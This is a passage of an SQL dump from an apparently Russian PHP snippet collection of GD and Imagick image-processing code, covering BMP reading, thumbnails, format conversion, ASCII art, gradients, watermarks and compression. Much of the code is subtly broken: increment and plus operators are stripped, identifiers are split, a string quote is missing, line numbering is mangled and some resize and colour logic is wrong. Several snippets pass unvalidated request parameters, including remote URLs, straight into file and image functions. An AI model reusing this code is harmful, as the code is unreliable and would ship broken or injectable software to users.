$BMP[\'decal\'] = ($BMP[\'width\']*$BMP[\'bytes_per_pixel\']/4);  $BMP[\'decal\'] -= floor($BMP[\'width\']*$BMP[\'bytes_per_pixel\']/4);  $BMP[\'decal\'] = 4-(4*$BMP[\'decal\']);   if ($BMP[\'decal\'] == 4)  $BMP[\'decal\'] = 0;   $PALETTE = array();   if ($BMP[\'colors\'] &lt; 16777216) {  $PALETTE = unpack(\'V\'.$BMP[\'colors\'], fread($f1,$BMP[\'colors\']*4));  }   $IMG = fread($f1,$BMP[\'size_bitmap\']);  $VIDE = chr(0);   $res = imagecreatetruecolor($BMP[\'width\'],$BMP[\'height\']);  $P = 0;  $Y = $BMP[\'height\']-1;  while ($Y &gt;= 0) {  $X=0;  while ($X &lt; $BMP[\'width\']) {  if ($BMP[\'bits_per_pixel\'] == 24)  $COLOR = unpack(&quot;V&quot;,substr($IMG,$P,3).$VIDE);  elseif ($BMP[\'bits_per_pixel\'] == 16) {  $COLOR = unpack(&quot;n&quot;,substr($IMG,$P,2));  $COLOR[1] = $PALETTE[$COLOR[1] 1];  } elseif ($BMP[\'bits_per_pixel\'] == 8) {  $COLOR = unpack(&quot;n&quot;,$VIDE.substr($IMG,$P,1));  $COLOR[1] = $PALETTE[$COLOR[1] 1];  } elseif ($BMP[\'bits_per_pixel\'] == 4) {  $COLOR = unpack(&quot;n&quot;,$VIDE.substr($IMG,floor($P),1));  if (($P*2)%2 == 0)  $COLOR[1] = ($COLOR[1] &gt;&gt; 4);  else  $COLOR[1] = ($COLOR[1] &amp; 0x0F);   $COLOR[1] = $PALETTE[$COLOR[1] 1];  } elseif ($BMP[\'bits_per_pixel\'] == 1) {  $COLOR = unpack(&quot;n&quot;,$VIDE.substr($IMG,floor($P),1));  if (($P*8)%8 == 0) $COLOR[1] = $COLOR[1] &gt;&gt;7;  elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] &amp; 0x40)&gt;&gt;6;  elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] &amp; 0x20)&gt;&gt;5;  elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] &amp; 0x10)&gt;&gt;4;  elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] &amp; 0x8)&gt;&gt;3;  elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] &amp; 0x4)&gt;&gt;2;  elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] &amp; 0x2)&gt;&gt;1;  elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] &amp; 0x1);   $COLOR[1] = $PALETTE[$COLOR[1] 1];  } else  return FALSE;   imagesetpixel($res,$X,$Y,$COLOR[1]);  $X  ;  $P  = $BMP[\'bytes_per_pixel\'];  }   $Y--;  $P =$BMP[\'decal\'];  }   fclose($f1);   return $res;  } ?&gt;','files_5463_5372_',151),(249,20,'Создание preview картинок','Создание preview картинок','&lt;?php function resize ($filename, $size) { $pref = \'mini_\'; $img = strtolower(strrchr(basename($filename), &quot;.&quot;)); $imgname = basename($filename); $formats = array(\'.jpg\', \'.gif\', \'.png\', \'.bmp\'); if (in_array($img, $formats)) { list($width, $height) = getimagesize($filename); $new_height = $height * $size; $new_width = $new_height / $width; $thumb = imagecreatetruecolor($size, $new_width); switch ($img) { case \'.jpg\': $source = @imagecreatefromjpeg($filename); break; case \'.gif\': $source = @imagecreatefromgif($filename); break; case \'.png\': $source = @imagecreatefrompng($filename); break; case \'.bmp\': $source = @imagecreatefromwbmp($filename); break; } imagecopyresized($thumb, $source, 0, 0, 0, 0, $size, $new_width, $width, $height); switch ($img) { case \'.jpg\': imagejpeg($thumb, $pref.$imgname); break; case \'.gif\': imagegif($thumb, $pref.$imgname); break; case \'.png\': imagepng($thumb, $pref.$imgname); break; case \'.bmp\': imagewbmp($thumb, $pref.$imgname); break; } } else return \'Error\'; @imagedestroy($thumb); @imagedestroy($source); return $imgname; } # - &gt; Пример работы: &lt; - #  echo \'&lt;img src=&quot;mini_\'.resize(\'http://www.webnotes.com.ua/demo/img-resize/test.jpg\',200).\'&quot; /&gt;\'; ?&gt;','files_5297_3291_',151),(250,20,'Автоопределение MIME-типа','Автоопределение MIME-типа','&lt;?php// Выбираем случайное изображение любого формата. $fnames = glob(&quot;*.{gif,jpg,png}&quot;, GLOB_BRACE); $fname = $fnames[mt_rand(0, count($fnames)-1)]; // Определяем формат. $size = getimagesize($fname); // Выводим изображение. header(&quot;Content-type: {$size[\'mime\']}&quot;); echo file_get_contents($fname);?&gt;','files_3287_4149_',151),(251,20,'Класс смайлов','Класс смайлов.\r\nПуть к смайлам будет вида\r\n/папка_со_смайлами/смайлпак/смайл.расширение\r\nСписок смайлов хранится в файле smiles.list (название можно менять), который находится там где и смайлы.','&lt;?php class Smiles { private $pack = \'default\'; //смайлпак private $dir = \'/smiles/\'; private $smiles_list = \'smiles.list\'; //список смайлов private $data = array(); public function __construct($config = array()) { foreach($config as $key=&gt;$val) $this-&gt;$key = $val; $file = file($_SERVER[\'DOCUMENT_ROOT\'].$this-&gt;dir.$this-&gt;pack.\'/\'.$this-&gt;smiles_list); $rows = sizeof($file); list($delimiter, $ext) = explode(\'###\', $file[0]); for($i = 1; $i &lt; $rows; $i++) { $arr = explode($delimiter, $file[$i]); foreach($arr as $val) { $val = trim($val); $this-&gt;data[$val] = \'&lt;img src=&quot;\'.$this-&gt;dir.$this-&gt;pack.\'/\'.$i.\'.\'.$ext.\'&quot; alt=&quot;\'.$val.\'&quot;/&gt;\'; } } } public function replace($text) { return strtr($text, $this-&gt;data); } } ?&gt;','files_4169_3941_',151),(252,20,'Конвертор форматов изображений','Конвертор изображений форматов jpeg, gif, png.\r\nТребуется библиотека GD','&lt;?php $to = \'png\'; $save_as = \'filename.\'.$to; $file = \'picture.gif\'; $type = substr($file, strrpos($file,\'.\')+1); if($type == \'jpg\') $type = \'jpeg\'; switch($type) { case(\'jpeg\'): $image = imagecreatefromjpeg($file); break; case(\'gif\'): $image = imagecreatefromgif($file); break; case(\'png\'): $image = imagecreatefrompng($file); break; } switch($to) { case(\'jpeg\'): imagejpeg($image, $save_as); break; case(\'gif\'): imagegif($image, $save_as); break; case(\'png\'): imagepng($image, $save_as); break; } ?&gt;','files_4475_4964_',151),(253,20,'рисунки символами.','такое было вк) грузишь картинку и получаешь ее в виде символов)','&lt;? $factor = (int)$_POST[\'factor\']; $usetable = $_POST[\'table\']; $file = $_POST[\'file\']; $act = $_GET[\'act\']; $fileex = $_POST[\'fileex\']; echo &quot;&lt;form action=\\&quot;&quot;.$_SERVER[\'PHP_SELF\'].&quot;?act=make\\&quot; method=\\&quot;post\\&quot;&gt; &lt;table&gt;&lt;tr&gt; &lt;td&gt;Адрес файла:&lt;/td&gt;&lt;td&gt;&lt;input name=\\&quot;file\\&quot; type=\\&quot;text\\&quot; value=\\&quot;\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Файл с инета (http://...) &lt;input name=\\&quot;fileex\\&quot; type=\\&quot;checkbox\\&quot; value=\\&quot;ON\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Погрешность цвета&lt;/td&gt;&lt;td&gt;&lt;input name=\\&quot;factor\\&quot; type=\\&quot;text\\&quot; value=\\&quot;\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Использовать таблицу &lt;input name=\\&quot;table\\&quot; type=\\&quot;checkbox\\&quot; value=\\&quot;OFF\\&quot;&gt;&lt;/td&gt;&lt;td&gt;Если вы не используете таблицу, уменьшите маштабирование в браузере до 50% ))&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type=\\&quot;submit\\&quot; value=\\&quot;JPG =&gt; ASCII\\&quot;&gt; &lt;/form&gt;&quot;; if($act ==\'make\') { $format = explode(\'.\',$file); $format = $format[(count($format))-1]; if($file == \'\') { echo &quot;&lt;br /&gt;Вы не ввели адрес файла!&quot;; } elseif(!file_exists($file) AND !$fileex) { echo &quot;&lt;br /&gt;Файл несуществует!&quot;; } elseif(($format != \'jpg\') AND ($format != \'jpeg\')) { echo &quot;&lt;br /&gt;Неверный формат файла. Поддерживается только JPG!&quot;; } else { $img = ImageCreateFromjpeg($file); $size = getimagesize($file); $orig_x = (int)$size[0]/2; $orig_y = (int)$size[1]/3; if($usetable){$str=\'&lt;table&gt;&lt;tr&gt;\';}else{$str=\'\';} for($y=1;$y&lt;=$orig_y;$y++) { for($x=1;$x&lt;=$orig_x;$x++) { $str.= quatro($img,$x,$y,$str,$factor,$usetable); } if($usetable){$str.=&quot;&lt;/tr&gt;&lt;tr&gt;&quot;;}else{$str.=&quot;&lt;br/&gt;&quot;;} } if($usetable){echo &quot;&lt;font style=\\&quot;font-family: Courier\\&quot;&gt;&quot;.$str.&quot;&lt;/font&gt;&lt;/table&gt;&quot;;}else{echo &quot;&lt;font style=\\&quot;font-family: Courier\\&quot;&gt;&quot;.$str;} } } function quatro($img,$x,$y,$str,$factor,$usetable) { $x = $x*2; $y = $y*3; for($q_x=0;$q_x&lt;2;$q_x++) { for($q_y=0;$q_y&lt;3;$q_y++) { $rgb = ImageColorAt($img, $x+$q_x, $y+$q_y); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; 8) &amp; 0xFF; $b = $rgb &amp; 0xFF; $pixel_total = $r + $g + $b; if ($pixel_total &gt; (((255 + $factor) / 2) * 3)) { $hex.=0; } else { $hex.=1; } } } return sectorToASCII($hex,$usetable); }   function sectorToASCII($hex,$usetable) { $char[000001] = \',\'; $char[000010] = \'.\'; $char[000011] = \'i\'; $char[000100] = \'\\\'\'; $char[000101] = \':\'; $char[000110] = \'l\'; $char[000111] = \'!\'; $char[001000] = \'.\'; $char[001001] = \'_\'; $char[001010] = \'/\'; $char[001011] = \'\'; $char[001100] = \'/\'; $char[001101] = \';\'; $char[001110] = \'/\'; $char[001111] = \'J\'; $char[010000] = \'`\'; $char[010001] = chr(0x5C); $char[010010] = \'-\'; $char[010011] = \'\'; $char[010100] = \'/\'; $char[010101] = \'&lt;\'; $char[010110] = \'\'; $char[010111] = \'&lt;\'; $char[011000] = \'i\'; $char[011001] = \'\'; $char[011010] = \'в\'; $char[011011] = \'*\'; $char[011100] = \'/\'; $char[011101] = \'B\'; $char[011110] = \'&amp;\'; $char[011111] = \'\'; $char[100000] = \'`\'; $char[100001] = chr(0x5C); $char[100010] = chr(0x5C); $char[100011] = chr(0x5C); $char[100100] = \'{\'; $char[100101] = \'\'; $char[100110] = chr(0x5C); $char[100111] = \'7\'; $char[101000] = \':\'; $char[101001] = \'\'; $char[101010] = \'&gt;\'; $char[101011] = \'Э\'; $char[101100] = \'\'; $char[101101] = \'=\'; $char[101110] = \'?\'; $char[101111] = \']\'; $char[110000] = \'¦\'; $char[110001] = chr(0x5C); $char[110010] = \'\'; $char[110011] = \'%\'; $char[110100] = \'\'; $char[110101] = \'г\'; $char[110110] = \'&quot;\'; $char[110111] = \'9\'; $char[111000] = \'I\'; $char[111001] = \'L\'; $char[111010] = \'&gt;\'; $char[111011] = \'6\'; $char[111100] = \'В\'; $char[111101] = \'[\'; $char[111110] = \'@\'; $char[111111] = \'#\'; if($usetable) { if($char[$hex]==\'\')$char[$hex]=\'&amp;nbsp;\'; return &quot;&lt;td&gt;&quot;.$char[$hex].&quot;&lt;/td&gt;&quot;; } else { if($char[$hex]==\'\')$char[$hex]=\'&amp;nbsp&amp;nbsp;\'; return $char[$hex]; } }   ?&gt;','files_4291_3529_',151),(254,20,'Увеличение картинки со сглаживанием.','Увеличение картинки со сглаживанием.','&lt;?php $from = imageCreateFromJpeg(&quot;sample2.jpg&quot;); $to = imageCreateTrueColor(2000, 2000); imageCopyResampled( $to, $from, 0, 0, 0, 0, imageSX($to), imageSY($to), imageSX($from), imageSY($from) ); header(&quot;Content-type: image/jpeg&quot;); imageJpeg($to); ?&gt;','files_3398_2788_',151),(255,20,'Эффект &quot;мокрого пола&quot;','Эффект &quot;мокрого пола&quot;','&lt;?php /** * Эффект &quot;мокрого пола&quot; * автор: MYPABEU (http://mypabeu.habrahabr.ru) * 30.09.08 */  //путь к картинке $img=imagecreatefrompng(\'c:/qqq.png\');  //размер отраженного объекта в % от оригинала $perc=50;  //максимальная прозрачность $maxAlpha=120;  $src_height = imagesy($img); $src_width = imagesx($img); $dest_height = $src_height + ($src_height / (100/$perc)); $dest_width = $src_width;  $reflected = imagecreatetruecolor($dest_width, $dest_height); imagealphablending($reflected, false); imagesavealpha($reflected, true);  imagecopy($reflected, $img, 0, 0, 0, 0, $src_width, $src_height); $reflection_height = $src_height / 2; for($y=$src_height; $y&lt;$dest_height; $y++) { $alpha = (($y-$src_height)/($dest_height-$src_height))*$maxAlpha;  for($x=0; $x&lt;$src_width; $x++) { $rgba = imagecolorat($img, $x, $src_height - ($y-$src_height+1)); $rgba = imagecolorsforindex($img, $rgba); $rgba = imagecolorallocatealpha($reflected, $rgba[\'red\'], $rgba[\'green\'], $rgba[\'blue\'], $alpha); imagesetpixel($reflected, $x, $y, $rgba); } } $img = $reflected;  header(\'Content-type:image/png\'); imagepng($img);  ?&gt;','files_2065_4716_',151),(256,20,'Получаем все картинки со страницы','Получаем все картинки со страницы','$url = &quot;Нужный адрес&quot;; $images = array(); preg_match_all(\'/(img|src)=(&quot;|\')[^&quot;\'&gt;]+/i\', $data, $media); unset($data); $data=preg_replace(\'/(img|src)(&quot;|\'|=&quot;|=\')(.*)/i\',&quot;$3&quot; ,$media[0]); foreach($data as $url) { $info = pathinfo($url); if (isset($info[\'extension\'])) { if (($info[\'extension\'] == \'jpg\') || ($info[\'extension\'] == \'jpeg\') || ($info[\'extension\'] == \'gif\') || ($info[\'extension\'] == \'png)) array_push($images, $url); } }','files_2526_4037_',151),(257,20,'Перевод цвета изображения в Чёрно-белое','Перевод цвета изображения в Чёрно-белое','&lt;?php $im = ImageCreateFromJpeg(&quot;file.jpg&quot;); $size = getimagesize(&quot;file.jpg&quot;); $new = imagecreate($size[0], $size[1]); $black = imagecolorallocate($new, 0, 0, 0); $white = imagecolorallocate($new, 0xFF, 0xFF, 0xFF);  for ($i = 1; $i &lt; $size[0]; $i++) { for ($j = 1; $j &lt; $size[1]; $j++) { $rgb = ImageColorAt($im, $i, $j); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; 8) &amp; 0xFF; $b = $rgb &amp; 0xFF; if ( $r &lt; 128 &amp;&amp; $r &lt; 128 &amp;&amp; $b &lt; 128 ) { imagesetpixel($new, $i, $j, $black); } elseif ( $r &gt;= 128 &amp;&amp; $r &gt;= 128 &amp;&amp; $b &gt;= 128 ) { imagesetpixel($new, $i, $j, $white); } } } header(&quot;Content-type: image/jpeg&quot;); imagejpeg($new, null, 100); imagedestroy($im); imagedestroy($new); ?&gt;','files_3606_2013_',151),(258,20,'Генератор градиентов','Создаём файл и туда лепим этот код. Для примера файл называется gradient.php.\r\nПереходим по ссылке типа\r\ngradient.php?type=g&amp;w=15&amp;h=80&amp;s=F01935&amp;e=08B864\r\nРазсмотрим что здесь что значит.\r\ntype - тип градиента (горизонтальный - g, вертикальный - v - по умолчанию)\r\nw - ширина картинки. По умолчанию 60\r\nh - высота картинки. По умолчанию 100\r\ns - цвет старта. По умолчанию чёрный\r\ne - цвет конца (не того что вы подумали). По умолчанию белый.\r\nВот и всё))','&lt;?php  //определяем тип: вертикальный или горизонтальный  $type = (isset($_GET[\'type\']) &amp;&amp; $_GET[\'type\'] == \'g\') ? \'g\' : \'v\';  //определяем высоту  $height = (isset($_GET[\'h\'])) ? abs((int)$_GET[\'h\']) : 100;  //определяем ширину  $width = (isset($_GET[\'w\'])) ? abs((int)$_GET[\'w\']) : 60;    //определяем цвета  $start = (isset($_GET[\'s\']) &amp;&amp; preg_match(\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\';  $end = (isset($_GET[\'e\']) &amp;&amp; preg_match(\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\';  //определяем RGB этих цветов  $start_r= hexdec(substr($start, 0, 2));  $start_g = hexdec(substr($start, 2, 2));  $start_b = hexdec(substr($start, 4, 2));  $end_r = hexdec(substr($end, 0, 2));  $end_g = hexdec(substr($end, 2, 2));  $end_b = hexdec(substr($end, 4, 2));  //создаём картинку  $image = imagecreate($width, $height);  //определяем тип и рисуем градиент  if($type == \'g\'){  for($x=0; $x&lt;$width; $x++){  $new_r = $start_r - intval(($start_r - $end_r) / $width * $x);  $new_g = $start_g - intval(($start_g - $end_g) / $width * $x);  $new_b = $start_b - intval(($start_b - $end_b) / $width * $x);  $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b);  imageline($image, $x, 0, $x, $height, $row_color);  }  }else{  for($y=0; $y&lt;$height; $y++){  $new_r = $start_r - intval(($start_r - $end_r) / $height * $y);  $new_g = $start_g - intval(($start_g - $end_g) / $height * $y);  $new_b = $start_b - intval(($start_b - $end_b) / $height * $y);  $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b);  imageline($image, 0, $y, $width, $y, $row_color);  }  }  header(\'Content-type: image/png\');  imagepng($image);  imagedestroy($image);  //вот и всё :)  ?&gt;','files_4512_4822_',151),(259,20,'Скругление углов','Скругление углов картинки используя библиотеку GD.','&lt;?php  /**  * Углоскруглятель :)  * * Sergey Fedotov &lt;sergey89@gmail.com&gt;  * Version: 1.1  */  $filename =\'image.jpg\';  $radius = 15;  /**  * Чем выше rate, тем лучше качество сглаживания и больше время обработки и  * потребление памяти.  * * Оптимальный rate подбирается в зависимости от радиуса.  */  $rate = 3;  $img = imagecreatefromstring(file_get_contents($filename));  imagealphablending($img, false);  imagesavealpha($img,true);  $width = imagesx($img);  $height = imagesy($img);  $rs_radius = $radius *$rate;  $rs_size = $rs_radius *2;  $corner =imagecreatetruecolor($rs_size, $rs_size);  imagealphablending($corner, false);  $trans = imagecolorallocatealpha($corner, 255, 255, 255, 127);  imagefill($corner, 0, 0,$trans);  $positions = array(  array(0, 0, 0, 0),  array($rs_radius, 0,$width-$radius, 0),  array($rs_radius,$rs_radius, $width-$radius, $height-$radius),  array(0, $rs_radius, 0,$height-$radius),  );  foreach ($positions as $pos) {  imagecopyresampled($corner, $img, $pos[0],$pos[1], $pos[2], $pos[3], $rs_radius,$rs_radius, $radius, $radius);  }  $lx = $ly = 0;  $i =-$rs_radius;  $y2 =-$i;  $r_2 = $rs_radius *$rs_radius;  for (; $i &lt;= $y2; $i++) {  $y = $i;  $x = sqrt($r_2-$y * $y);  $y += $rs_radius;  $x += $rs_radius;  imageline($corner, $x,$y, $rs_size, $y, $trans);  imageline($corner, 0,$y, $rs_size-$x, $y,$trans);  $lx = $x;  $ly = $y;  }  foreach ($positions as $i =&gt; $pos) {  imagecopyresampled($img, $corner, $pos[2],$pos[3], $pos[0], $pos[1], $radius, $radius,$rs_radius, $rs_radius);  }  header(\'Content-Type: image/png\');  imagepng($img);  imagedestroy($img);  ?&gt;','files_4734_5413_',151),(260,20,'Детальная информация об изображении','Вывод детальной информации изображения. Требуется библиотека Image Magick.','&lt;?php  $im = new Imagick(\'image.jpg\');  $info = $im-&gt;identifyImage();  echo\'&lt;strong&gt;Базовые свойства картинки:&lt;/strong&gt;&lt;br/&gt;\';  echo\'Разрешение: \'.$info[\'geometry\'] [\'width\'].\'x\'.$info[\'geometry\'][\'height\'].\'&lt;br/&gt;\';  echo\'Формат: \'.$info[\'format\'].\'&lt;br/&gt;\';  echo\'Тип: \'.$info[\'type\'].\'&lt;br/&gt;\';  echo\'Сжатие: \'.$info[\'compression\'].\'&lt;br/&gt;\';  echo\'Размер: \'.$info[\'fileSize\'].\'&lt;br /&gt;\';  echo\'&lt;br/&gt;&lt;br/&gt;\';  echo\'&lt;strong&gt;Все свойства картинки:&lt;/strong&gt;&lt;br/&gt;\';    foreach ($im-&gt;getImageProperties() as $key =&gt; $val)  {  echo $key.\' =&gt; \'.$val.\'&lt;br/&gt;\';  }    echo\'&lt;strong&gt;Все профили картинки:&lt;/strong&gt;&lt;br/&gt;\';  foreach ($im-&gt;getImageProfiles() as $key =&gt; $val)  {  echo\'Название: \'.$key.\' (Размер: \'.strlen($val).\')&lt;br/&gt;\';  }  ?&gt;','files_1276_1289_',151),(261,20,'Вывод картинок из директории','Вывод картинок из директории папок','&lt;?php $dir = &quot;/img/&quot;;//Откуда  if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { echo &quot;&lt;img src=&quot;$file&quot; /&quot;&gt;; } closedir($dh); } } ?&gt;','files_4897_3337_',151),(262,20,'Создание скриншота сайта','Создание скриншота сайта\r\nРаботает под виндой на PHP 5 &gt;= 5.2.2','&lt;?php $browser = new COM(&quot;InternetExplorer.Application&quot;); $handle = $browser-&gt;HWND; $browser-&gt;Visible = true; $browser-&gt;Navigate(&quot;http://ya.ru&quot;); while ($browser-&gt;Busy) { com_message_pump(4000); } $im = imagegrabwindow($handle, 0); $browser-&gt;Quit(); imagepng($im, &quot;iesnap.png&quot;); ?&gt;','files_2248_3155_',151),(263,20,'меняющийся логотип','Для этого можно взять для примера 3 картинки любые!!!\r\nВот к примеру logo.png , logo2.png , logo3.png!!!\r\nПосле этого заходи в style/themes/ваша папка с темой/ находим в нee кидаем эти три картинки!!!\r\nДалее в вашей папке с темой создаем три файла 1.php, 2.php, 3.php!!!\r\nВ файле 1.php пишем вот этот код на вывод первого изображения\r\n&lt;img src=\'/style/themes/$set[set_them]/logo.png\'&gt;\r\nбез всяких лишних кавычек и знаков препинания!!!\r\nВ 2.php пишем почти тоже самое\r\n&lt;img src=\'/style/themes/$set[set_them]/logo2.png\'&gt;\r\nНу и 3.php этот код\r\n&lt;img src=\'/style/themes/$set[set_them]/logo3.png\'&gt;\r\nДело почти сделано осталось только зайти в head.php и после стройки &lt;body&gt; удалить все что ниже этого и в место того что удалили вписать это','&lt;? { if ($_SERVER[\'PHP_SELF\']!=\'/index.php\') { echo \'&lt;div class=&quot;logo&quot;&gt;\'; srand((double)microtime()*1000000); $rnd = rand(1,3); include $rnd.\'.php\'; echo &quot;&lt;/div&gt;&quot;; } if ($_SERVER[\'PHP_SELF\']==\'/index.php\') { echo \'&lt;div class=&quot;logo&quot;&gt;\'; srand((double)microtime()*1000000); $rnd = rand(1,3); include $rnd.\'.php\'; echo &quot;&lt;/div&gt;&quot;; } } ?&gt;','files_2911_4505_',151),(264,20,'Cоздание мини-изображений','$imgfile - путь к исходному изображению\r\n$imgthumb - имя для нового файла\r\n$newwidth - ширина нового файла( как правило уменьшают по ширине)','function create_img_gd( $imgfile, $imgthumb, $newwidth ) { if (function_exists(\'imagecreate\')) { $imginfo = getimagesize( $imgfile );  switch( $imginfo[2] ) { case 1: $type = IMG_GIF; break; case 2: $type = IMG_JPG; break; case 3: $type = IMG_PNG; break; case 4: $type = IMG_WBMP; break; default: return $imgfile; }  switch( $type ) { case IMG_GIF: if (!function_exists(&quot;imagecreatefromgif&quot;)) return $imgfile; $srcImage = imagecreatefromgif( $imgfile ); break; case IMG_JPG: if (!function_exists(&quot;imagecreatefromjpeg&quot;)) return $imgfile; $srcImage = imagecreatefromjpeg( $imgfile ); break; case IMG_PNG: if(!function_exists(&quot;imagecreatefrompng&quot;)) return $imgfile; $srcImage = imagecreatefrompng( $imgfile ); break; case IMG_WBMP: if (!function_exists(&quot;imagecreatefromwbmp&quot;)) return $imgfile; $srcImage = imagecreatefromwbmp( $imgfile ); break; default: return $imgfile; }  if ( $srcImage ) { $srcWidth = $imginfo[0]; $srcHeight = $imginfo[1]; $ratioWidth = $srcWidth / $newwidth; $destWidth = $newwidth; $destHeight = $srcHeight / $ratioWidth; $destImage = imagecreatetruecolor( $destWidth, $destHeight );  imagealphablending($destImage, true); imagealphablending($srcImage, false); imagecopyresized($destImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);  switch( $type ) { case IMG_GIF: imagegif( $destImage, $imgthumb); break; case IMG_JPG: imagejpeg( $destImage, $imgthumb); break; case IMG_PNG: imagepng( $destImage, $imgthumb); break; case IMG_WBMP: imagewbmp( $destImage, $imgthumb); break; }  imagedestroy($srcImage); imagedestroy($destImage); return $imgthumb; } else { return $imgfile; } } else { return $imgfile; } }','files_5384_3322_',151),(265,20,'Текст на картинку','Наложение текста на картинку','&lt;?php  $img = $_GET[\'img\']; $copy = strtoupper($_SERVER[\'HTTP_HOST\']); if ($img == &quot;&quot;) exit(); writeTextOnImage($img, &quot;Www.MySuperSite.Com&quot;); function writeTextOnImage($filename, $text) { if ($filename == &quot;&quot;) exit(); $size_img = getimagesize($filename); if ($size_img[2]==2) $src_img = imagecreatefromjpeg($filename); else if ($size_img[2]==1) $src_img = imagecreatefromgif($filename); else if ($size_img[2]==3) $src_img = imagecreatefrompng($filename); if (!$src_img) exit(); // Назначаем цвет $color = imagecolorallocatealpha($src_img, 255, 255, 0, 10); $font_file = &quot;impact.ttf&quot;; $img_x = imagesx($src_img); $img_y = imagesy($src_img); $height_font = 13; $angle = 0; // Запись текста поверх изображения $xminus = $img_x - 130; $box = imagettftext($src_img, $height_font, $angle, $xminus, $img_y - 8, $color, $font_file, $text); // Вывод изображения в браузер if ($size_img[2]==2) { header (&quot;Content-type: image/jpeg&quot;); imagejpeg($src_img); } else if ($size_img[2]==1) { header (&quot;Content-type: image/gif&quot;); imagegif($src_img); } else if ($size_img[2]==3) { header (&quot;Content-type: image/png&quot;); imagepng($src_img); } return true; } ?&gt;','files_2658_3157_',151),(266,20,'Изменяем размер изображения','Изменяем размер изображения, и выводим с хорошим качеством','&lt;?php//Размер $x=100; $y=100; $i=\'papka/f.jpg\';//Картинка if (!file_exists(&quot;$i&quot;)){ echo \'error\'; exit;} $ext = strtolower(substr($i, 1 + strrpos($i, &quot;.&quot;))); if($ext!=&quot;png&quot;){ if($ext!=&quot;gif&quot;){ if($ext !=&quot;jpg&quot;){ echo \'error\'; exit;}}} $im = imagecreatetruecolor($x, $y); if($ext==&quot;jpg&quot;){ $img=imagecreatefromJPEG(&quot;$i&quot;);} if($ext==&quot;gif&quot;){ $img=imagecreatefromGIF(&quot;$i&quot;);} if($ext== &quot;png&quot;){ $img=imagecreatefromPNG(&quot;$i&quot;);} $width=imagesx($im g); $height=imagesy($img); imagecopyresampled($im, $img, 0, 0, 0, 0, $conf_x, $conf_y, $width, $height); if($ext==&quot;jpg&quot;){ header(&quot;Content-type: image/jpeg&quot;); imagejpeg($im);} if($ext==&quot;gif&quot;){ header(&quot;Content -type: image/gif&quot;); imagegif($im);} if($ext==&quot;png&quot;){ header(&quot;Content-t ype: image/png&quot;); imagepng($im);} ImageDestroy($im); //Работает с форматами jpg, gif и png?&gt;','files_4813_3382_',151),(267,20,'Компрессия изображений','Компрессор изображений в jpeg\r\nПроверялось на png, сжатие почти в 3 раза(без потери качества)\r\nНашел на западном форуме и немного переделал функцию\r\nКак пользоваться:\r\nСоздаем файл(file.php)\r\nВ неё кидаем код что будет ниже\r\nЧтоды вывести сжатую картинку нажно написать приблизительно такое:\r\n&lt;img src=&quot;file.php?file=название_картинки.png&amp;q=степень_сжатия(от 100 до 0, чем меньше тем хуже качество, но меньше весит)&quot; alt=&quot;&quot;&gt;','&lt;?php    /** * $_GET[\'file\'] - название изображения * $_GET[\'q\'] - степень сжатия */ function compress_image ( $source_url , $quality ) { $info = getimagesize ( $source_url ) ;  if ( $info [ \'mime\' ] == \'image/jpeg\' ) $image = imagecreatefromjpeg ( $source_url ) ; elseif ( $info [ \'mime\' ] == \'image/gif\' ) $image = imagecreatefromgif ( $source_url ) ; elseif ( $info [ \'mime\' ] == \'image/png\' ) $image = imagecreatefrompng ( $source_url ) ; header (\'Content-Type: image/jpeg\'); //save it echo imagejpeg ( $image , NULL, $quality ) ; //return destination file url } compress_image (\'адрес_к_папке_с_изображениями/\'.intval($_GET[\'file\']).\'.png\',$_GET[\'q\']);   ?&gt;','files_3627_3715_',151),(268,20,'афическая шкала (линейка)','код','1. &lt;?php 2. // горизонтальная 3. $im = imagecreate( 800 ,20); 4. $shift = true ; 5. for( $i = 0 ; $i &lt;800 ; $i += 10) 6. { 7. $color = imagecolorallocate ( $im ,255 ,255 , 255 ); 8. imagerectangle ($im ,0 ,0 ,800 , 20, $color ); 9. $color = imagecolorallocate ( $im ,0 ,0 ,0 ); 0. if( $shift ) 1. { 2. $height = 16; 3. } 4. else 5. { 6. $height = 13; 7. imagestring ( $im ,2 ,($i - 6 ), 1, $i , $color ); 8. } 9. imageline ( $im ,$i ,20 ,$i ,$height , $color ); 0. $shift =!$shift ; 1. } 2. // вертикальная 3. $im = imagecreate( 30,800 ); 4. $shift = true ; 5. for( $i = 0 ; $i &lt;800 ; $i += 10) 6. { 7. $color = imagecolorallocate ( $im ,255 ,255 , 255 ); 8. imagerectangle ($im ,0 ,0 ,30 ,800 , $color ); 9. $color = imagecolorallocate ( $im ,0 ,0 ,0 ); 0. if( $shift ) 1. { 2. $height = 26; 3. } 4. else 5. { 6. $height = 23; 7. imagestring ( $im ,2 ,($height - 16), ( $i - 7), $i ,$color ); 8. } 9. imageline ( $im ,$height ,$i , 30,$i , $color ); 0. $shift =!$shift ; 1. ?&gt;','files_3342_3910_',151),(269,20,'Получаем анимированую картинку из видео','Получаем анимированую картинку из видео','$file = &quot;file.avi&quot;; $movie = new ffmpeg_movie($file); $gif=new ffmpeg_animated_gif(&quot;image.gif&quot;,100 ,100 ,24); for ($frame = 150; $frame &lt;= 200; $frame++) { $image = $movie-&gt;getFrame($frame); 